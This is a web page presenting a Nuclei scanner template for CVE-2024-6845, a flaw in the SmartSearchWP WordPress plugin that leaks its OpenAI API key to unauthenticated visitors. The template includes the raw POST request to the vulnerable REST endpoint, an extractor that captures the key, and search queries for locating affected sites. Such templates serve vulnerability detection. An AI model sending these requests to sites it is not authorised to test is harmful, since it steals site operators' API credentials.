Skip to content

SmartSearchWP < 2.4.6 - OpenAI Key Disclosure

ID: CVE-2024-6845

Severity: medium

Author: s4e-io

Tags: cve,cve2024,exposure,wp,wordpress,wp-plugin,smartsearchwp

The plugin does not have proper authorization in one of its REST endpoint, allowing unauthenticated users to retrieve the encoded key and then decode it, thereby leaking the OpenAI API key.

id: CVE-2024-6845
info:
name: SmartSearchWP < 2.4.6 - OpenAI Key Disclosure
author: s4e-io
severity: medium
description: |
The plugin does not have proper authorization in one of its REST endpoint, allowing unauthenticated users to retrieve the encoded key and then decode it, thereby leaking the OpenAI API key.
remediation: Fixed in 2.4.6
reference:
- https://wpscan.com/vulnerability/cfaaa843-d89e-42d4-90d9-988293499d26/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6845
metadata:
max-request: 2
verified: true
vendor: webdigit
product: smartsearchwp
framework: wordpress
publicwww-query: "/wp-content/plugins/smartsearchwp"
fofa-query: body="/wp-content/plugins/smartsearchwp"
tags: cve,cve2024,exposure,wp,wordpress,wp-plugin,smartsearchwp
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"/wp-content/plugins/smartsearchwp")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /wp-json/wdgpt/v1/api-key HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"key": "U2FsdGVkX1+X"}
matchers:
- type: dsl
dsl:
- 'contains(content_type,"application/json")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
part: body
name: api-key
regex:
- '"([^"]+)"'
# digest: 490a00463044022072cd65cc2ce18085cb53b6de883e6491dae3b16dec9c84bac5da088e36cdc02002203c4816c8636fc8c46091fcb6a881d0fece5fa5ee65b1a0a5b5d44492b4d884dd:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6845.yaml"

View on Github